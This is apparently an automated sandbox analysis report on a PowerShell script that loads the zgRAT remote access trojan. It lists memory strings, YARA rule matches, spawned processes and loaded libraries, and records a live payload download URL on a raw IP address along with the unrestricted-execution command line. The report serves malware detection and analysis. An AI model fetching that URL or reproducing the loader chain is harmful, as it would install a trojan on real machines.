Source: powershell.exe, 00000000.00000002.2206077558.000002C3D84B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D84A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/files/mservice64.exe
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44XBk
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D849E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.H
Source: svchost.exe, 00000005.00000002.3412377270.0000021AB1C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.5.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000000.00000002.2229665328.000002C3E6D1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D6CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D8564000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D6CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: RegAsm.exe, 00000003.00000002.2218088489.000000000317E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.s
Source: RegAsm.exe, 00000003.00000002.2218088489.000000000317E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: RegAsm.exe, 00000003.00000002.2218088489.00000000032C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000005.00000003.2211936578.0000021AB19E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.2229665328.000002C3E6D1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D8564000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000000.00000002.2206077558.000002C3D8564000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: RegAsm.exe, 00000003.00000002.2218088489.0000000003407000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_35cdbbf0-3

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.powershell.exe.2c3e6fc8f00.7.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6324, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01454C01	3_2_01454C01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01450ED8	3_2_01450ED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01453841	3_2_01453841
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_014507ED	3_2_014507ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01450898	3_2_01450898
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_014508A8	3_2_014508A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01456B48	3_2_01456B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01456B58	3_2_01456B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01450E7F	3_2_01450E7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01450EC8	3_2_01450EC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01457ADF	3_2_01457ADF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_01457AF0	3_2_01457AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_056C3F64	3_2_056C3F64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_056C5F28	3_2_056C5F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_056C5F38	3_2_056C5F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_056C5EE0	3_2_056C5EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_05A131C0	3_2_05A131C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_05A136E9	3_2_05A136E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_05A71FF0	3_2_05A71FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_05A70743	3_2_05A70743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_05A75170	3_2_05A75170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_05A71FE1	3_2_05A71FE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_05ACC7C0	3_2_05ACC7C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Security

Jump to behavior

Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.powershell.exe.2c3e6fc8f00.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: Process Memory Space: powershell.exe PID: 6324, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winPS1@6/10@0/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5252:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xoirv3ba.02d.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: TST.ps1

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD347323FE push 8B485F94h; iretd	0_2_00007FFD34732403
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_056C4FE0 push esp; iretd	3_2_056C4FE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_056C48C2 push eax; retf	3_2_056C48C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_05AB3DB2 push edi; ret	3_2_05AB3DB9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
